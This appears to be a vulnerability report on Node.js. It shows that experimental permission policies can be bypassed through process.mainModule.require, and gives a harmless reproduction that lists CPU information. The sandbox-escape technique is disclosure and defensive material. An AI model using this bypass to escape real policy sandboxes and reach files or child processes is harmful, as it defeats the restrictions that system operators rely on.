Node.js · Report #1747642
Permissions policies can be bypassed via process.mainModule
How it was found
Summary:
Permissions policies module can be bypassed via process.mainModule.require
Description:
Permission policies allow to run a script with a specific set of authorized node js built-in modules.
However, the script could access non authorized modules by calling process.mainModule.require()
Steps To Reproduce:
- Create
escape.jsfile:
console.log(process.mainModule.require("os").cpus());
- Create
policy.jsonfile:
{
"onerror": "exit",
"scopes": {
"file:": {
"integrity": true,
"dependencies": {}
}
}
}
- Run:
node --experimental-policy=policy.json escape.js
- You will see your os cpus listed in the console even though the
escape.jsfile does not have the permission to import the nodeosmodule
Impact:
Permission policies are supposed to enforce imported modules to a limited whitelist. This vulnerability allow a script to include any non-whitelisted module.
If you modify escape.js to use top level require statement, like this:
const os = require("os");
console.log(os.cpus());
and run again:
node --experimental-policy=policy.json escape.js
you'll now see this error:
Error [ERR_MANIFEST_DEPENDENCY_MISSING]: Manifest resource escape.js does not list os as a dependency specifier for conditions: require, node, node-addons
which is the expected behavior and should be enforced as well when using process.mainModule.require
Impact
Any project that uses permission policies for arbitrary code execution are vulnerable to sandbox escaping. This example show a non-critical permission gain (listing the machine cpu), but an attacker could do much more damage by accessing internal file system, running child processes, ...